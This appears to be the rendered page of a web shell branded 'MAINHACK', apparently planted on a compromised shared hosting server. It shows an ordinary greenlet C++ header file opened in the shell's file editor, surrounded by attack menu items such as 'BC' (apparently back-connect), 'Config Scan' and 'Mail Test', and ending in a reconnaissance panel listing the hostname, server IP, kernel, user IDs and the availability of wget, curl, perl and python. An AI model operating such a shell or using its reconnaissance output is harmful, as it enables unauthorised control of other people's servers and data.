[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TThreadStateCreator.hpp
File is not writable. Editing disabled.
#ifndef GREENLET_THREAD_STATE_CREATOR_HPP #define GREENLET_THREAD_STATE_CREATOR_HPP #include <ctime> #include <stdexcept> #include "greenlet_internal.hpp" #include "greenlet_refs.hpp" #include "greenlet_thread_support.hpp" #include "TThreadState.hpp" namespace greenlet { typedef void (*ThreadStateDestructor)(ThreadState* const); // Only one of these, auto created per thread as a thread_local. // This means we don't have to worry about atomic access to the // internals, because by definition all access is happening on a // single thread. // Constructing the state constructs the MainGreenlet. template<ThreadStateDestructor Destructor> class ThreadStateCreator { private: // Initialized to 1, and, if still 1, created on access. // Set to 0 on destruction. ThreadState* _state; G_NO_COPIES_OF_CLS(ThreadStateCreator); inline bool has_initialized_state() const noexcept { return this->_state != (ThreadState*)1; } inline bool has_state() const noexcept { return this->has_initialized_state() && this->_state != nullptr; } public: ThreadStateCreator() : _state((ThreadState*)1) { } ~ThreadStateCreator() { if (this->has_state()) { Destructor(this->_state); } this->_state = nullptr; } inline ThreadState& state() { // The main greenlet will own this pointer when it is created, // which will be right after this. The plan is to give every // greenlet a pointer to the main greenlet for the thread it // runs in; if we are doing something cross-thread, we need to // access the pointer from the main greenlet. Deleting the // thread, and hence the thread-local storage, will delete the // state pointer in the main greenlet. if (!this->has_initialized_state()) { // XXX: Assuming allocation never fails this->_state = new ThreadState; // For non-standard threading, we need to store an object // in the Python thread state dictionary so that it can be // DECREF'd when the thread ends (ideally; the dict could // last longer) and clean this object up. } if (!this->_state) { throw std::runtime_error("Accessing state after destruction."); } return *this->_state; } operator ThreadState&() { return this->state(); } operator ThreadState*() { return &this->state(); } inline int tp_traverse(visitproc visit, void* arg) { if (this->has_state()) { return this->_state->tp_traverse(visit, arg); } return 0; } }; }; // namespace greenlet #endif
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.38 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: N/A